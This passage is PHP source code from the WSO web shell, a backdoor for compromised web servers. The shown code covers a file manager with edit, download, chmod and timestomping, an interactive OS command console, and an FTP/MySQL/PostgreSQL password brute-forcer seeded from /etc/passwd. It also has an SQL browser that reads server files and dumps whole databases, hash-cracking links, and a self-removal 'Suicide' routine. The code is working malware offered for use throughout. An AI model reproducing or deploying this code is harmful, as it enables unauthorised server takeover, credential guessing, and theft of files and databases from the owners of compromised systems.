684echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
685.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
686$l = $l?0:1;
687}
688echo "<tr><td colspan=7>
689<input type=hidden name=a value='FilesMan'>
690<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
691<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
692<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
693if(class_exists('ZipArchive'))
694echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
695echo "<option value='tar'>Compress (tar.gz)</option>";
696if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
697echo "<option value='paste'>Paste / Compress</option>";
698echo "</select> ";
699if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
700echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
701echo "<input type='submit' value='>>'></td></tr></form></table></div>";
702wsoFooter();
703}
704
705function actionStringTools() {
706if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
707if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
708if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
709if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
710if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
711$stringTools = array(
712'Base64 encode' => 'base64_encode',
713'Base64 decode' => 'base64_decode',
714'Url encode' => 'urlencode',
715'Url decode' => 'urldecode',
716'Full urlencode' => 'full_urlencode',
717'md5 hash' => 'md5',
718'sha1 hash' => 'sha1',
719'crypt' => 'crypt',
720'CRC32' => 'crc32',
721'ASCII to HEX' => 'ascii2hex',
722'HEX to ASCII' => 'hex2ascii',
723'HEX to DEC' => 'hexdec',
724'HEX to BIN' => 'hex2bin',
725'DEC to HEX' => 'dechex',
726'DEC to BIN' => 'decbin',
727'BIN to HEX' => 'binhex',
728'BIN to DEC' => 'bindec',
729'String to lower case' => 'strtolower',
730'String to upper case' => 'strtoupper',
731'Htmlspecialchars' => 'htmlspecialchars',
732'String length' => 'strlen',
733);
734if(isset($_POST['ajax'])) {
735WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
736ob_start();
737if(in_array($_POST['p1'], $stringTools))
738echo $_POST['p1']($_POST['p2']);
739$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
740echo strlen($temp), "\n", $temp;
741exit;
742}
743if(empty($_POST['ajax'])&&!empty($_POST['p1']))
744WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
745wsoHeader();
746echo '<h1>String conversions</h1><div class=content>';
747echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
748foreach($stringTools as $k => $v)
749echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
750echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
751if(!empty($_POST['p1'])) {
752if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
753}
754echo"</pre></div><br><h1>Search files:</h1><div class=content>
755<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
756<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
757<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
758<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
759<tr><td></td><td><input type='submit' value='>>'></td></tr>
760</table></form>";
761
762function wsoRecursiveGlob($path) {
763if(substr($path, -1) != '/')
764$path.='/';
765$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
766if(is_array($paths)&&@count($paths)) {
767foreach($paths as $item) {
768if(@is_dir($item)){
769if($path!=$item)
770wsoRecursiveGlob($item);
771} else {
772if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
773echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
774}
775}
776}
777}
778if(@$_POST['p3'])
779wsoRecursiveGlob($_POST['c']);
780echo "</div><br><h1>Search for hash:</h1><div class=content>
781<form method='post' target='_blank' name='hf'>
782<input type='text' name='hash' style='width:200px;'><br>
783<input type='hidden' name='act' value='find'/>
784<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
785<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
786<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
787</form></div>";
788wsoFooter();
789}
790
791function actionFilesTools() {
792if( isset($_POST['p1']) )
793$_POST['p1'] = urldecode($_POST['p1']);
794if(@$_POST['p2']=='download') {
795if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
796ob_start("ob_gzhandler", 4096);
797header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
798if (function_exists("mime_content_type")) {
799$type = @mime_content_type($_POST['p1']);
800header("Content-Type: " . $type);
801} else
802header("Content-Type: application/octet-stream");
803$fp = @fopen($_POST['p1'], "r");
804if($fp) {
805while(!@feof($fp))
806echo @fread($fp, 1024);
807fclose($fp);
808}
809}exit;
810}
811if( @$_POST['p2'] == 'mkfile' ) {
812if(!file_exists($_POST['p1'])) {
813$fp = @fopen($_POST['p1'], 'w');
814if($fp) {
815$_POST['p2'] = "edit";
816fclose($fp);
817}
818}
819}
820wsoHeader();
821echo '<h1>File tools</h1><div class=content>';
822if( !file_exists(@$_POST['p1']) ) {
823echo 'File not exists';
824wsoFooter();
825return;
826}
827$uid = @posix_getpwuid(@fileowner($_POST['p1']));
828if(!$uid) {
829$uid['name'] = @fileowner($_POST['p1']);
830$gid['name'] = @filegroup($_POST['p1']);
831} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
832echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
833echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
834if( empty($_POST['p2']) )
835$_POST['p2'] = 'view';
836if( is_file($_POST['p1']) )
837$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
838else
839$m = array('Chmod', 'Rename', 'Touch');
840foreach($m as $v)
841echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
842echo '<br><br>';
843switch($_POST['p2']) {
844case 'view':
845echo '<pre class=ml1>';
846$fp = @fopen($_POST['p1'], 'r');
847if($fp) {
848while( !@feof($fp) )
849echo htmlspecialchars(@fread($fp, 1024));
850@fclose($fp);
851}
852echo '</pre>';
853break;
854case 'highlight':
855if( @is_readable($_POST['p1']) ) {
856echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
857$code = @highlight_file($_POST['p1'],true);
858echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
859}
860break;
861case 'chmod':
862if( !empty($_POST['p3']) ) {
863$perms = 0;
864for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
865$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
866if(!@chmod($_POST['p1'], $perms))
867echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
868}
869clearstatcache();
870echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
871break;
872case 'edit':
873if( !is_writable($_POST['p1'])) {
874echo 'File isn\'t writeable';
875break;
876}
877if( !empty($_POST['p3']) ) {
878$time = @filemtime($_POST['p1']);
879$_POST['p3'] = substr($_POST['p3'],1);
880$fp = @fopen($_POST['p1'],"w");
881if($fp) {
882@fwrite($fp,$_POST['p3']);
883@fclose($fp);
884echo 'Saved!<br><script>p3_="";</script>';
885@touch($_POST['p1'],$time,$time);
886}
887}
888echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
889$fp = @fopen($_POST['p1'], 'r');
890if($fp) {
891while( !@feof($fp) )
892echo htmlspecialchars(@fread($fp, 1024));
893@fclose($fp);
894}
895echo '</textarea><input type=submit value=">>"></form>';
896break;
897case 'hexdump':
898$c = @file_get_contents($_POST['p1']);
899$n = 0;
900$h = array('00000000<br>','','');
901$len = strlen($c);
902for ($i=0; $i<$len; ++$i) {
903$h[1] .= sprintf('%02X',ord($c[$i])).' ';
904switch ( ord($c[$i]) ) {
905case 0: $h[2] .= ' '; break;
906case 9: $h[2] .= ' '; break;
907case 10: $h[2] .= ' '; break;
908case 13: $h[2] .= ' '; break;
909default: $h[2] .= $c[$i]; break;
910}
911$n++;
912if ($n == 32) {
913$n = 0;
914if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
915$h[1] .= '<br>';
916$h[2] .= "\n";
917}
918}
919echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
920break;
921case 'rename':
922if( !empty($_POST['p3']) ) {
923if(!@rename($_POST['p1'], $_POST['p3']))
924echo 'Can\'t rename!<br>';
925else
926die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
927}
928echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
929break;
930case 'touch':
931if( !empty($_POST['p3']) ) {
932$time = strtotime($_POST['p3']);
933if($time) {
934if(!touch($_POST['p1'],$time,$time))
935echo 'Fail!';
936else
937echo 'Touched!';
938} else echo 'Bad time format!';
939}
940clearstatcache();
941echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
942break;
943}
944echo '</div>';
945wsoFooter();
946}
947
948function actionConsole() {
949if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
950WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
951$_POST['p1'] .= ' 2>&1';
952} elseif(!empty($_POST['p1']))
953WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
954
955if(isset($_POST['ajax'])) {
956WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
957ob_start();
958echo "d.cf.cmd.value='';\n";
959$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
960if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
961if(@chdir($match[1])) {
962$GLOBALS['cwd'] = @getcwd();
963echo "c_='".$GLOBALS['cwd']."';";
964}
965}
966echo "d.cf.output.value+='".$temp."';";
967echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
968$temp = ob_get_clean();
969echo strlen($temp), "\n", $temp;
970exit;
971}
972if(empty($_POST['ajax'])&&!empty($_POST['p1']))
973WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
974wsoHeader();
975echo "<script>
976if(window.Event) window.captureEvents(Event.KEYDOWN);
977var cmds = new Array('');
978var cur = 0;
979function kp(e) {
980var n = (window.Event) ? e.which : e.keyCode;
981if(n == 38) {
982cur--;
983if(cur>=0)
984document.cf.cmd.value = cmds[cur];
985else
986cur++;
987} else if(n == 40) {
988cur++;
989if(cur < cmds.length)
990document.cf.cmd.value = cmds[cur];
991else
992cur--;
993}
994}
995function add(cmd) {
996cmds.pop();
997cmds.push(cmd);
998cmds.push('');
999cur = cmds.length-1;
1000}
1001</script>";
1002echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1003foreach($GLOBALS['aliases'] as $n => $v) {
1004if($v == '') {
1005echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1006continue;
1007}
1008echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1009}
1010
1011echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1012if(!empty($_POST['p1'])) {
1013echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1014}
1015echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1016echo '</form></div><script>d.cf.cmd.focus();</script>';
1017wsoFooter();
1018}
1019
1020function actionLogout() {
1021setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1022die('bye!');
1023}
1024
1025function actionSelfRemove() {
1026
1027if($_POST['p1'] == 'yes')
1028if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1029die('Shell has been removed');
1030else
1031echo 'unlink error!';
1032if($_POST['p1'] != 'yes')
1033wsoHeader();
1034echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1035wsoFooter();
1036}
1037
1038function actionBruteforce() {
1039wsoHeader();
1040if( isset($_POST['proto']) ) {
1041echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1042if( $_POST['proto'] == 'ftp' ) {
1043function wsoBruteForce($ip,$port,$login,$pass) {
1044$fp = @ftp_connect($ip, $port?$port:21);
1045if(!$fp) return false;
1046$res = @ftp_login($fp, $login, $pass);
1047@ftp_close($fp);
1048return $res;
1049}
1050} elseif( $_POST['proto'] == 'mysql' ) {
1051function wsoBruteForce($ip,$port,$login,$pass) {
1052$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1053@mysql_close($res);
1054return $res;
1055}
1056} elseif( $_POST['proto'] == 'pgsql' ) {
1057function wsoBruteForce($ip,$port,$login,$pass) {
1058$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1059$res = @pg_connect($str);
1060@pg_close($res);
1061return $res;
1062}
1063}
1064$success = 0;
1065$attempts = 0;
1066$server = explode(":", $_POST['server']);
1067if($_POST['type'] == 1) {
1068$temp = @file('/etc/passwd');
1069if( is_array($temp) )
1070foreach($temp as $line) {
1071$line = explode(":", $line);
1072++$attempts;
1073if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1074$success++;
1075echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1076}
1077if(@$_POST['reverse']) {
1078$tmp = "";
1079for($i=strlen($line[0])-1; $i>=0; --$i)
1080$tmp .= $line[0][$i];
1081++$attempts;
1082if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1083$success++;
1084echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1085}
1086}
1087}
1088} elseif($_POST['type'] == 2) {
1089$temp = @file($_POST['dict']);
1090if( is_array($temp) )
1091foreach($temp as $line) {
1092$line = trim($line);
1093++$attempts;
1094if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1095$success++;
1096echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1097}
1098}
1099}
1100echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1101}
1102echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1103.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1104.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1105.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1106.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1107.'<span>Server:port</span></td>'
1108.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1109.'<tr><td><span>Brute type</span></td>'
1110.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1111.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1112.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1113.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1114.'<td><input type=text name=login value="root"></td></tr>'
1115.'<tr><td><span>Dictionary</span></td>'
1116.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1117.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1118echo '</div><br>';
1119wsoFooter();
1120}
1121
1122function actionSql() {
1123class DbClass {
1124var $type;
1125var $link;
1126var $res;
1127function DbClass($type) {
1128$this->type = $type;
1129}
1130function connect($host, $user, $pass, $dbname){
1131switch($this->type) {
1132case 'mysql':
1133if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1134break;
1135case 'pgsql':
1136$host = explode(':', $host);
1137if(!$host[1]) $host[1]=5432;
1138if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1139break;
1140}
1141return false;
1142}
1143function selectdb($db) {
1144switch($this->type) {
1145case 'mysql':
1146if (@mysql_select_db($db))return true;
1147break;
1148}
1149return false;
1150}
1151function query($str) {
1152switch($this->type) {
1153case 'mysql':
1154return $this->res = @mysql_query($str);
1155break;
1156case 'pgsql':
1157return $this->res = @pg_query($this->link,$str);
1158break;
1159}
1160return false;
1161}
1162function fetch() {
1163$res = func_num_args()?func_get_arg(0):$this->res;
1164switch($this->type) {
1165case 'mysql':
1166return @mysql_fetch_assoc($res);
1167break;
1168case 'pgsql':
1169return @pg_fetch_assoc($res);
1170break;
1171}
1172return false;
1173}
1174function listDbs() {
1175switch($this->type) {
1176case 'mysql':
1177return $this->query("SHOW databases");
1178break;
1179case 'pgsql':
1180return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1181break;
1182}
1183return false;
1184}
1185function listTables() {
1186switch($this->type) {
1187case 'mysql':
1188return $this->res = $this->query('SHOW TABLES');
1189break;
1190case 'pgsql':
1191return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1192break;
1193}
1194return false;
1195}
1196function error() {
1197switch($this->type) {
1198case 'mysql':
1199return @mysql_error();
1200break;
1201case 'pgsql':
1202return @pg_last_error();
1203break;
1204}
1205return false;
1206}
1207function setCharset($str) {
1208switch($this->type) {
1209case 'mysql':
1210if(function_exists('mysql_set_charset'))
1211return @mysql_set_charset($str, $this->link);
1212else
1213$this->query('SET CHARSET '.$str);
1214break;
1215case 'pgsql':
1216return @pg_set_client_encoding($this->link, $str);
1217break;
1218}
1219return false;
1220}
1221function loadFile($str) {
1222switch($this->type) {
1223case 'mysql':
1224return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1225break;
1226case 'pgsql':
1227$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1228$r=array();
1229while($i=$this->fetch())
1230$r[] = $i['file'];
1231$this->query('drop table wso2');
1232return array('file'=>implode("\n",$r));
1233break;
1234}
1235return false;
1236}
1237function dump($table, $fp = false) {
1238switch($this->type) {
1239case 'mysql':
1240$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1241$create = mysql_fetch_array($res);
1242$sql = $create[1].";\n";
1243if($fp) fwrite($fp, $sql); else echo($sql);
1244$this->query('SELECT * FROM `'.$table.'`');
1245$i = 0;
1246$head = true;
1247while($item = $this->fetch()) {
1248$sql = '';
1249if($i % 1000 == 0) {
1250$head = true;
1251$sql = ";\n\n";
1252}
1253
1254$columns = array();
1255foreach($item as $k=>$v) {
1256if($v === null)
1257$item[$k] = "NULL";
1258elseif(is_int($v))
1259$item[$k] = $v;
1260else
1261$item[$k] = "'".@mysql_real_escape_string($v)."'";
1262$columns[] = "`".$k."`";
1263}
1264if($head) {
1265$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1266$head = false;
1267} else
1268$sql .= "\n\t,(".implode(", ", $item).')';
1269if($fp) fwrite($fp, $sql); else echo($sql);
1270$i++;
1271}
1272if(!$head)
1273if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1274break;
1275case 'pgsql':
1276$this->query('SELECT * FROM '.$table);
1277while($item = $this->fetch()) {
1278$columns = array();
1279foreach($item as $k=>$v) {
1280$item[$k] = "'".addslashes($v)."'";
1281$columns[] = $k;
1282}
1283$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1284if($fp) fwrite($fp, $sql); else echo($sql);
1285}
1286break;
1287}
1288return false;
1289}
1290};
1291$db = new DbClass($_POST['type']);
1292if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1293$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1294$db->selectdb($_POST['sql_base']);
1295switch($_POST['charset']) {
1296case "Windows-1251": $db->setCharset('cp1251'); break;
1297case "UTF-8": $db->setCharset('utf8'); break;
1298case "KOI8-R": $db->setCharset('koi8r'); break;
1299case "KOI8-U": $db->setCharset('koi8u'); break;
1300case "cp866": $db->setCharset('cp866'); break;
1301}
1302if(empty($_POST['file'])) {
1303ob_start("ob_gzhandler", 4096);
1304header("Content-Disposition: attachment; filename=dump.sql");
1305header("Content-Type: text/plain");
1306foreach($_POST['tbl'] as $v)
1307$db->dump($v);
1308exit;
1309} elseif($fp = @fopen($_POST['file'], 'w')) {
1310foreach($_POST['tbl'] as $v)
1311$db->dump($v, $fp);
1312fclose($fp);
1313unset($_POST['p2']);
1314} else
1315die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1316}
1317wsoHeader();
1318echo "
1319<h1>Sql browser</h1><div class=content>
1320<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1321<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1322<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1323<td><select name='type'><option value='mysql' ";
1324if(@$_POST['type']=='mysql')echo 'selected';
1325echo ">MySql</option><option value='pgsql' ";
1326if(@$_POST['type']=='pgsql')echo 'selected';
1327echo ">PostgreSql</option></select></td>
1328<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1329<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1330<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1331$tmp = "<input type=text name=sql_base value=''>";
1332if(isset($_POST['sql_host'])){
1333if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1334switch($_POST['charset']) {
1335case "Windows-1251": $db->setCharset('cp1251'); break;
1336case "UTF-8": $db->setCharset('utf8'); break;
1337case "KOI8-R": $db->setCharset('koi8r'); break;
1338case "KOI8-U": $db->setCharset('koi8u'); break;
1339case "cp866": $db->setCharset('cp866'); break;
1340}
1341$db->listDbs();
1342echo "<select name=sql_base><option value=''></option>";
1343while($item = $db->fetch()) {
1344list($key, $value) = each($item);
1345echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1346}
1347echo '</select>';
1348}
1349else echo $tmp;
1350}else
1351echo $tmp;
1352echo "</td>
1353<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1354<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1355</tr>
1356</table>
1357<script>
1358s_db='".@addslashes($_POST['sql_base'])."';
1359function fs(f) {
1360if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1361if(f.p1) f.p1.value='';
1362if(f.p2) f.p2.value='';
1363if(f.p3) f.p3.value='';
1364}
1365}
1366function st(t,l) {
1367d.sf.p1.value = 'select';
1368d.sf.p2.value = t;
1369if(l && d.sf.p3) d.sf.p3.value = l;
1370d.sf.submit();
1371}
1372function is() {
1373for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1374d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1375}
1376</script>";
1377if(isset($db) && $db->link){
1378echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1379if(!empty($_POST['sql_base'])){
1380$db->selectdb($_POST['sql_base']);
1381echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1382$tbls_res = $db->listTables();
1383while($item = $db->fetch($tbls_res)) {
1384list($key, $value) = each($item);
1385if(!empty($_POST['sql_count']))
1386$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1387$value = htmlspecialchars($value);
1388echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1389}
